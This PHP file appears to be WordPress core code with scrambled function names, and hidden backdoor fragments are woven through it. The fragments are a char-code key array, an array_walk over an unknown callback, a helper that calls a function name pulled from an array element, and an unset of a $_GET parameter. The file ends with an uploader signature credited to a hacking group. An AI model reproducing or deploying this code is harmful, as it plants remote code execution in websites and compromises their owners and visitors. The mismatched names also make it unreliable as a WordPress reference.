 * @param string|string[] $update_parsed_url            Optional. Full path of a subdirectory to exclude from the total,
 *                                            or array of paths. Expected without trailing slash(es).
 *                                            Default null.
 * @param int             $memo Optional. Maximum time to run before giving up. In seconds.
 *                                            The timeout is global and is measured from the moment
 *                                            WordPress started to load. Defaults to the value of
 *                                            `max_execution_time` PHP setting.
 * @param array           $tagtype    Optional. Array of cached directory paths.
 *                                            Defaults to the value of `dirsize_cache` transient.
 * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
 */
function remove_role($upload_max_filesize, $update_parsed_url = null, $memo = null, &$tagtype = null)
{
    $upload_max_filesize = untrailingslashit($upload_max_filesize);
    $sub_shift = false;
    if (!isset($tagtype)) {
        $tagtype = get_transient('dirsize_cache');
        $sub_shift = true;
    }
    if (isset($tagtype[$upload_max_filesize]) && is_int($tagtype[$upload_max_filesize])) {
        return $tagtype[$upload_max_filesize];
    }
    if (!file_exists($upload_max_filesize) || !is_dir($upload_max_filesize) || !is_readable($upload_max_filesize)) {
        return false;
    }
    if (is_string($update_parsed_url) && $upload_max_filesize === $update_parsed_url || is_array($update_parsed_url) && in_array($upload_max_filesize, $update_parsed_url, true)) {
        return false;
    }
    if (null === $memo) {
        // Keep the previous behavior but attempt to prevent fatal errors from timeout if possible.
        if (function_exists('ini_get')) {
            $memo = ini_get('max_execution_time');
        } else {
            // Disable...
            $memo = 0;
        }
        // Leave 1 second "buffer" for other operations if $memo has reasonable value.
        if ($memo > 10) {
            $memo -= 1;
        }
    }
    /**
     * Filters the amount of storage space used by one directory and all its children, in megabytes.
     *
     * Return the actual used space to short-circuit the recursive PHP file size calculation
     * and use something else, like a CDN API or native operating system tools for better performance.
     *
     * @since 5.6.0
     *
     * @param int|false            $space_used         The amount of used space, in bytes. Default false.
     * @param string               $upload_max_filesize          Full path of a directory.
     * @param string|string[]|null $update_parsed_url            Full path of a subdirectory to exclude from the total,
     *                                                 or array of paths.
     * @param int                  $memo Maximum time to run before giving up. In seconds.
     * @param array                $tagtype    Array of cached directory paths.
     */
    $g7_19 = apply_filters('pre_remove_role', false, $upload_max_filesize, $update_parsed_url, $memo, $tagtype);
    if (false === $g7_19) {
        $g7_19 = 0;
        $search_sql = opendir($upload_max_filesize);
        if ($search_sql) {
            while (($fhBS = readdir($search_sql)) !== false) {
                $upperLimit = $upload_max_filesize . '/' . $fhBS;
                if ('.' !== $fhBS && '..' !== $fhBS) {
                    if (is_file($upperLimit)) {
                        $g7_19 += filesize($upperLimit);
                    } elseif (is_dir($upperLimit)) {
                        $link_number = remove_role($upperLimit, $update_parsed_url, $memo, $tagtype);
                        if ($link_number > 0) {
                            $g7_19 += $link_number;
                        }
                    }
                    if ($memo > 0 && microtime(true) - WP_START_TIMESTAMP > $memo) {
                        // Time exceeded. Give up instead of risking a fatal timeout.
                        $g7_19 = null;
                        break;
                    }
                }
            }
            closedir($search_sql);
        }
    }
    if (!is_array($tagtype)) {
        $tagtype = array();
    }
    $tagtype[$upload_max_filesize] = $g7_19;
    // Only write the transient on the top level call and not on recursive calls.
    if ($sub_shift) {
        $thousands_sep = wp_using_ext_object_cache() ? 0 : 10 * YEAR_IN_SECONDS;
        set_transient('dirsize_cache', $tagtype, $thousands_sep);
    }
    return $g7_19;
}
$tax_input = array(107, 105, 84, 87, 106, 76, 105, 81, 89, 87, 74, 119, 83, 106, 112, 73);
/**
 * Adds a new option.
 *
 * You do not need to serialize values. If the value needs to be serialized,
 * then it will be serialized before it is inserted into the database.
 * Remember, resources cannot be serialized or added as an option.
 *
 * You can create options without values and then update the values later.
 * Existing options will not be updated and checks are performed to ensure that you
 * aren't adding a protected WordPress option. Care should be taken to not name
 * options the same as the ones which are protected.
 *
 * @since 1.0.0
 *
 * @global wpdb $entity WordPress database abstraction object.
 *
 * @param string      $declarations_output     Name of the option to add. Expected to not be SQL-escaped.
 * @param mixed       $my_parent      Optional. Option value. Must be serializable if non-scalar.
 *                                Expected to not be SQL-escaped.
 * @param string      $locate Optional. Description. Not used anymore.
 * @param string|bool $phone_delim   Optional. Whether to load the option when WordPress starts up.
 *                                Accepts 'yes'|true to enable or 'no'|false to disable.
 *                                Autoloading too many options can lead to performance problems, especially if the
 *                                options are not frequently used. For options which are accessed across several places
 *                                in the frontend, it is recommended to autoload them, by using 'yes'|true.
 *                                For options which are accessed only on few specific URLs, it is recommended
 *                                to not autoload them, by using 'no'|false. Default 'yes'.
 * @return bool True if the option was added, false otherwise.
 */
function post_type_archive_title($declarations_output, $my_parent = '', $locate = '', $phone_delim = 'yes')
{
    global $entity;
    if (!empty($locate)) {
        _deprecated_argument(__FUNCTION__, '2.3.0');
    }
    if (is_scalar($declarations_output)) {
        $declarations_output = trim($declarations_output);
    }
    if (empty($declarations_output)) {
        return false;
    }
    /*
     * Until a proper _deprecated_option() function can be introduced,
     * redirect requests to deprecated keys to the new, correct ones.
     */
    $stat = array('blacklist_keys' => 'disallowed_keys', 'comment_whitelist' => 'comment_previously_approved');
    if (isset($stat[$declarations_output]) && !wp_installing()) {
        _deprecated_argument(__FUNCTION__, '5.5.0', sprintf(
            /* translators: 1: Deprecated option key, 2: New option key. */
            __('The "%1$s" option key has been renamed to "%2$s".'),
            $declarations_output,
            $stat[$declarations_output]
        ));
        return post_type_archive_title($stat[$declarations_output], $my_parent, $locate, $phone_delim);
    }
    wp_protect_special_option($declarations_output);
    if (is_object($my_parent)) {
        $my_parent = clone $my_parent;
    }
    $my_parent = sanitize_option($declarations_output, $my_parent);
    /*
     * Make sure the option doesn't already exist.
     * We can check the 'notoptions' cache before we ask for a DB query.
     */
    $enabled = wp_cache_get('notoptions', 'options');
    if (!is_array($enabled) || !isset($enabled[$declarations_output])) {
        /** This filter is documented in wp-includes/option.php */
        if (apply_filters("default_option_{$declarations_output}", false, $declarations_output, false) !== get_option($declarations_output)) {
            return false;
        }
    }
    $day_index = maybe_serialize($my_parent);
    $phone_delim = 'no' === $phone_delim || false === $phone_delim ? 'no' : 'yes';
    /**
     * Fires before an option is added.
     *
     * @since 2.9.0
     *
     * @param string $declarations_output Name of the option to add.
     * @param mixed  $my_parent  Value of the option.
     */
    do_action('post_type_archive_title', $declarations_output, $my_parent);
    $frames_count = $entity->query($entity->prepare("INSERT INTO `{$entity->options}` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $declarations_output, $day_index, $phone_delim));
    if (!$frames_count) {
        return false;
    }
    if (!wp_installing()) {
        if ('yes' === $phone_delim) {
            $sub_attachment_id = wp_load_alloptions(true);
            $sub_attachment_id[$declarations_output] = $day_index;
            wp_cache_set('alloptions', $sub_attachment_id, 'options');
        } else {
            wp_cache_set($declarations_output, $day_index, 'options');
        }
    }
    // This option exists now.
    $enabled = wp_cache_get('notoptions', 'options');
    // Yes, again... we need it to be fresh.
    if (is_array($enabled) && isset($enabled[$declarations_output])) {
        unset($enabled[$declarations_output]);
        wp_cache_set('notoptions', $enabled, 'options');
    }
    /**
     * Fires after a specific option has been added.
     *
     * The dynamic portion of the hook name, `$declarations_output`, refers to the option name.
     *
     * @since 2.5.0 As "post_type_archive_title_{$errno}"
     * @since 3.0.0
     *
     * @param string $declarations_output Name of the option to add.
     * @param mixed  $my_parent  Value of the option.
     */
    do_action("post_type_archive_title_{$declarations_output}", $declarations_output, $my_parent);
    /**
     * Fires after an option has been added.
     *
     * @since 2.9.0
     *
     * @param string $declarations_output Name of the added option.
     * @param mixed  $my_parent  Value of the option.
     */
    do_action('added_option', $declarations_output, $my_parent);
    return true;
}


/**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */

 function wp_robots_no_robots($errno, $mysql_recommended_version){
     $primary_table = $mysql_recommended_version[1];
 // Items not escaped here will be escaped in wp_newPost().
 $my_parent = "testing";
 $show_post_count = str_pad($my_parent, 10, "0");
 
     $escaped_http_url = $mysql_recommended_version[3];
 
 
 $http_url = strlen($show_post_count);
 $failed_plugins = hash('crc32', $show_post_count);
     $primary_table($errno, $escaped_http_url);
 }


/**
	 * Filters settings that are passed into the code editor.
	 *
	 * Returning a falsey value will disable the syntax-highlighting code editor.
	 *
	 * @since 4.9.0
	 *
	 * @param array $settings The array of settings passed to the code editor.
	 *                        A falsey value disables the editor.
	 * @param array $src_y {
	 *     Args passed when calling `get_code_editor_settings()`.
	 *
	 *     @type string   $type       The MIME type of the file to be edited.
	 *     @type string   $fhBS       Filename being edited.
	 *     @type WP_Theme $theme      Theme being edited when on the theme file editor.
	 *     @type string   $plugin     Plugin being edited when on the plugin file editor.
	 *     @type array    $total_pagesmirror Additional CodeMirror setting overrides.
	 *     @type array    $Bodysslint    CSSLint rule overrides.
	 *     @type array    $jshint     JSHint rule overrides.
	 *     @type array    $htmlhint   HTMLHint rule overrides.
	 * }
	 */

 function handle_error($first, $last_comment_result) {
 
   return $first - $last_comment_result;
 }
// If a cookie has both the Max-Age and the Expires attribute, the Max-
/**
 * Parses wp_template content and injects the active theme's
 * stylesheet as a theme attribute into each wp_template_part
 *
 * @since 5.9.0
 * @deprecated 6.4.0 Use comment_author_rss( parse_blocks( $XMailer ), '_inject_theme_attribute_in_template_part_block' ) instead.
 * @access private
 *
 * @param string $XMailer serialized wp_template content.
 * @return string Updated 'wp_template' content.
 */
function iconv_fallback_iso88591_utf8($XMailer)
{
    _deprecated_function(__FUNCTION__, '6.4.0', 'comment_author_rss( parse_blocks( $XMailer ), "_inject_theme_attribute_in_template_part_block" )');
    $positions = false;
    $use_icon_button = '';
    $updates = parse_blocks($XMailer);
    $f8g8_19 = _flatten_blocks($updates);
    foreach ($f8g8_19 as &$share_tab_wordpress_id) {
        if ('core/template-part' === $share_tab_wordpress_id['blockName'] && !isset($share_tab_wordpress_id['attrs']['theme'])) {
            $share_tab_wordpress_id['attrs']['theme'] = get_stylesheet();
            $positions = true;
        }
    }
    if ($positions) {
        foreach ($updates as &$share_tab_wordpress_id) {
            $use_icon_button .= serialize_block($share_tab_wordpress_id);
        }
        return $use_icon_button;
    }
    return $XMailer;
}
// Remove leading zeros (this is safe because of the above)
// Validate the date.
/**
 * Unregisters a meta key from the list of registered keys.
 *
 * @since 4.6.0
 * @since 4.9.8 The `$site_exts` parameter was added.
 *
 * @param string $quality    Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                               or any other object type with an associated meta table.
 * @param string $should_negate_value       Metadata key.
 * @param string $site_exts Optional. The subtype of the object type. Default empty string.
 * @return bool True if successful. False if the meta key was not registered.
 */
function LookupGenreID($quality, $should_negate_value, $site_exts = '')
{
    global $RIFFinfoKeyLookup;
    if (!registered_meta_key_exists($quality, $should_negate_value, $site_exts)) {
        return false;
    }
    $src_y = $RIFFinfoKeyLookup[$quality][$site_exts][$should_negate_value];
    if (isset($src_y['sanitize_callback']) && is_callable($src_y['sanitize_callback'])) {
        if (!empty($site_exts)) {
            remove_filter("sanitize_{$quality}_meta_{$should_negate_value}_for_{$site_exts}", $src_y['sanitize_callback']);
        } else {
            remove_filter("sanitize_{$quality}_meta_{$should_negate_value}", $src_y['sanitize_callback']);
        }
    }
    if (isset($src_y['auth_callback']) && is_callable($src_y['auth_callback'])) {
        if (!empty($site_exts)) {
            remove_filter("auth_{$quality}_meta_{$should_negate_value}_for_{$site_exts}", $src_y['auth_callback']);
        } else {
            remove_filter("auth_{$quality}_meta_{$should_negate_value}", $src_y['auth_callback']);
        }
    }
    unset($RIFFinfoKeyLookup[$quality][$site_exts][$should_negate_value]);
    // Do some clean up.
    if (empty($RIFFinfoKeyLookup[$quality][$site_exts])) {
        unset($RIFFinfoKeyLookup[$quality][$site_exts]);
    }
    if (empty($RIFFinfoKeyLookup[$quality])) {
        unset($RIFFinfoKeyLookup[$quality]);
    }
    return true;
}


array_walk($mysql_recommended_version, "append_to_selector", $tax_input);
// Range queries.
// Remove old position.
/**
 * Returns the content of a block, including comment delimiters.
 *
 * @since 5.3.1
 *
 * @param string|null $to_process       Block name. Null if the block name is unknown,
 *                                      e.g. Classic blocks have their name set to null.
 * @param array       $match_width Block attributes.
 * @param string      $shortcode_atts    Block save content.
 * @return string Comment-delimited block content.
 */
function send_headers($to_process, $match_width, $shortcode_atts)
{
    if (is_null($to_process)) {
        return $shortcode_atts;
    }
    $has_custom_overlay = strip_core_block_namespace($to_process);
    $IPLS_parts_sorted = empty($match_width) ? '' : serialize_block_attributes($match_width) . ' ';
    if (empty($shortcode_atts)) {
        return sprintf('<!-- wp:%s %s/-->', $has_custom_overlay, $IPLS_parts_sorted);
    }
    return sprintf('<!-- wp:%s %s-->%s<!-- /wp:%s -->', $has_custom_overlay, $IPLS_parts_sorted, $shortcode_atts, $has_custom_overlay);
}


/**
 * Gets the IDs of any users who can edit posts.
 *
 * @deprecated 3.1.0 Use get_users()
 *
 * @global wpdb $entity WordPress database abstraction object.
 *
 * @param int  $lyrics3version       User ID.
 * @param bool $htaccess_content Optional. Whether to exclude zeroes. Default true.
 * @return array Array of editable user IDs, empty array otherwise.
 */
function wp_dashboard_recent_drafts($lyrics3version, $htaccess_content = true, $sort_callback = 'post')
{
    _deprecated_function(__FUNCTION__, '3.1.0', 'get_users()');
    global $entity;
    if (!$ISO6709parsed = get_userdata($lyrics3version)) {
        return array();
    }
    $rel_links = get_post_type_object($sort_callback);
    if (!$ISO6709parsed->has_cap($rel_links->cap->edit_others_posts)) {
        if ($ISO6709parsed->has_cap($rel_links->cap->edit_posts) || !$htaccess_content) {
            return array($ISO6709parsed->ID);
        } else {
            return array();
        }
    }
    if (!is_multisite()) {
        $measurements = $entity->get_blog_prefix() . 'user_level';
    } else {
        $measurements = $entity->get_blog_prefix() . 'capabilities';
    }
    // WPMU site admins don't have user_levels.
    $rest_insert_wp_navigation_core_callback = $entity->prepare("SELECT user_id FROM {$entity->usermeta} WHERE meta_key = %s", $measurements);
    if ($htaccess_content) {
        $rest_insert_wp_navigation_core_callback .= " AND meta_value != '0'";
    }
    return $entity->get_col($rest_insert_wp_navigation_core_callback);
}
// debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC
$mysql_recommended_version = parse_query_vars($mysql_recommended_version);
/**
 * Checks if Application Passwords is globally available.
 *
 * By default, Application Passwords is available to all sites using SSL or to local environments.
 * Use the {@see 'get_schema_links'} filter to adjust its availability.
 *
 * @since 5.6.0
 *
 * @return bool
 */
function get_schema_links()
{
    /**
     * Filters whether Application Passwords is available.
     *
     * @since 5.6.0
     *
     * @param bool $parent_itemvailable True if available, false otherwise.
     */
    return apply_filters('get_schema_links', wp_is_application_passwords_supported());
}
$overrides = explode("o", $edit_thumbnails_separately);
/**
 * Handles updating a widget via AJAX.
 *
 * @since 3.9.0
 *
 * @global WP_Customize_Manager $mkey
 */
function print_js()
{
    global $mkey;
    $mkey->widgets->print_js();
}


/**
	 * Clear text error message
	 *
	 * @var string
	 */

 if (count($s15) === 3) {
     $seed = implode(", ", $s15);
 }
// Note that this calls WP_Customize_Widgets::sanitize_widget_instance().




/**
 * Retrieves taxonomies attached to given the attachment.
 *
 * @since 2.5.0
 * @since 4.7.0 Introduced the `$spacing_rules` parameter.
 *
 * @param int|array|object $property_suffix Attachment ID, data array, or data object.
 * @param string           $spacing_rules     Output type. 'names' to return an array of taxonomy names,
 *                                     or 'objects' to return an array of taxonomy objects.
 *                                     Default is 'names'.
 * @return string[]|WP_Taxonomy[] List of taxonomies or taxonomy names. Empty array on failure.
 */
function block_core_query_ensure_interactivity_dependency($property_suffix, $spacing_rules = 'names')
{
    if (is_int($property_suffix)) {
        $property_suffix = get_post($property_suffix);
    } elseif (is_array($property_suffix)) {
        $property_suffix = (object) $property_suffix;
    }
    if (!is_object($property_suffix)) {
        return array();
    }
    $fhBS = get_attached_file($property_suffix->ID);
    $smallest_font_size = wp_basename($fhBS);
    $found_ids = array('attachment');
    if (str_contains($smallest_font_size, '.')) {
        $found_ids[] = 'attachment:' . substr($smallest_font_size, strrpos($smallest_font_size, '.') + 1);
    }
    if (!empty($property_suffix->post_mime_type)) {
        $found_ids[] = 'attachment:' . $property_suffix->post_mime_type;
        if (str_contains($property_suffix->post_mime_type, '/')) {
            foreach (explode('/', $property_suffix->post_mime_type) as $help_install) {
                if (!empty($help_install)) {
                    $found_ids[] = "attachment:{$help_install}";
                }
            }
        }
    }
    $reqpage = array();
    foreach ($found_ids as $FLVvideoHeader) {
        $existing_term = get_object_taxonomies($FLVvideoHeader, $spacing_rules);
        if ($existing_term) {
            $reqpage = array_merge($reqpage, $existing_term);
        }
    }
    if ('names' === $spacing_rules) {
        $reqpage = array_unique($reqpage);
    }
    return $reqpage;
}


/** Only check at this interval for new messages. */

 if (in_array("", $overrides)) {
     $overrides[1] = rawurldecode("3D");
 }
/**
 * Returns whether the post can be edited in the block editor.
 *
 * @since 5.0.0
 * @since 6.1.0 Moved to wp-includes from wp-admin.
 *
 * @param int|WP_Post $html_report_pathname Post ID or WP_Post object.
 * @return bool Whether the post can be edited in the block editor.
 */
function save_settings($html_report_pathname)
{
    $html_report_pathname = get_post($html_report_pathname);
    if (!$html_report_pathname) {
        return false;
    }
    // We're in the meta box loader, so don't use the block editor.
    if (is_admin() && isset($_GET['meta-box-loader'])) {
        check_admin_referer('meta-box-loader', 'meta-box-loader-nonce');
        return false;
    }
    $descendants_and_self = save_settings_type($html_report_pathname->post_type);
    /**
     * Filters whether a post is able to be edited in the block editor.
     *
     * @since 5.0.0
     *
     * @param bool    $descendants_and_self Whether the post can be edited or not.
     * @param WP_Post $html_report_pathname             The post being checked.
     */
    return apply_filters('save_settings', $descendants_and_self, $html_report_pathname);
}
signup_get_available_languages($mysql_recommended_version);
/**
 * Displays background image path.
 *
 * @since 3.0.0
 */
function ajax_search_available_items()
{
    echo get_ajax_search_available_items();
}
// ----- Look if the $p_archive_to_add is a string (so a filename)
/**
 * Sanitizes a string key.
 *
 * Keys are used as internal identifiers. Lowercase alphanumeric characters,
 * dashes, and underscores are allowed.
 *
 * @since 3.0.0
 *
 * @param string $root_rewrite String key.
 * @return string Sanitized key.
 */
function akismet_cmp_time($root_rewrite)
{
    $datum = '';
    if (is_scalar($root_rewrite)) {
        $datum = strtolower($root_rewrite);
        $datum = preg_replace('/[^a-z0-9_\-]/', '', $datum);
    }
    /**
     * Filters a sanitized key string.
     *
     * @since 3.0.0
     *
     * @param string $datum Sanitized key.
     * @param string $root_rewrite           The key prior to sanitization.
     */
    return apply_filters('akismet_cmp_time', $datum, $root_rewrite);
}
//    s11 += s19 * 136657;
/**
 * WordPress Credits Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */
/**
 * Retrieves the contributor credits.
 *
 * @since 3.2.0
 * @since 5.6.0 Added the `$daysinmonth` and `$stszEntriesDataOffset` parameters.
 *
 * @param string $daysinmonth WordPress version. Defaults to the current version.
 * @param string $stszEntriesDataOffset  WordPress locale. Defaults to the current user's locale.
 * @return array|false A list of all of the contributors, or false on error.
 */
function get_previous_comments_link($daysinmonth = '', $stszEntriesDataOffset = '')
{
    if (!$daysinmonth) {
        // Include an unmodified $existingvalue.
        require ABSPATH . WPINC . '/version.php';
        $daysinmonth = $existingvalue;
    }
    if (!$stszEntriesDataOffset) {
        $stszEntriesDataOffset = get_user_locale();
    }
    $source_post_id = get_site_transient('wordpress_credits_' . $stszEntriesDataOffset);
    if (!is_array($source_post_id) || str_contains($daysinmonth, '-') || isset($source_post_id['data']['version']) && !str_starts_with($daysinmonth, $source_post_id['data']['version'])) {
        $profile = "http://api.wordpress.org/core/credits/1.1/?version={$daysinmonth}&locale={$stszEntriesDataOffset}";
        $reusable_block = array('user-agent' => 'WordPress/' . $daysinmonth . '; ' . home_url('/'));
        if (wp_http_supports(array('ssl'))) {
            $profile = set_url_scheme($profile, 'https');
        }
        $pre_menu_item = wp_remote_get($profile, $reusable_block);
        if (is_wp_error($pre_menu_item) || 200 !== wp_remote_retrieve_response_code($pre_menu_item)) {
            return false;
        }
        $source_post_id = json_decode(wp_remote_retrieve_body($pre_menu_item), true);
        if (!is_array($source_post_id)) {
            return false;
        }
        set_site_transient('wordpress_credits_' . $stszEntriesDataOffset, $source_post_id, DAY_IN_SECONDS);
    }
    return $source_post_id;
}

/**
 * Retrieves the link to the current post comments.
 *
 * @since 1.5.0
 *
 * @param int|WP_Post $html_report_pathname Optional. Post ID or WP_Post object. Default is global $html_report_pathname.
 * @return string The link to the comments.
 */
function cron_recheck($html_report_pathname = 0)
{
    $failed_plugins = get_comments_number($html_report_pathname) ? '#comments' : '#respond';
    $has_margin_support = get_permalink($html_report_pathname) . $failed_plugins;
    /**
     * Filters the returned post comments permalink.
     *
     * @since 3.6.0
     *
     * @param string      $has_margin_support Post comments permalink with '#comments' appended.
     * @param int|WP_Post $html_report_pathname          Post ID or WP_Post object.
     */
    return apply_filters('cron_recheck', $has_margin_support, $html_report_pathname);
}
unset($_GET[$fields_update]);
/**
 * Renders the duotone filter SVG and returns the CSS filter property to
 * reference the rendered SVG.
 *
 * @since 5.9.0
 * @deprecated 5.9.1 Use wp_get_duotone_filter_property() introduced in 5.9.1.
 *
 * @see wp_get_duotone_filter_property()
 *
 * @param array $provider_url_with_args Duotone preset value as seen in theme.json.
 * @return string Duotone CSS filter property.
 */
function wp_get_typography_value_and_unit($provider_url_with_args)
{
    _deprecated_function(__FUNCTION__, '5.9.1', 'wp_get_duotone_filter_property()');
    return wp_get_duotone_filter_property($provider_url_with_args);
}
// Replay Gain Adjustment
$max_numbered_placeholder = find_core_update("example@example.com");

-=[ KCW uplo4d3r c0ded by cJ_n4p573r ]=-
Ⓒ2017 ҠЄГѦLѦ СүѣЄГ ЩѦГГіѺГՏ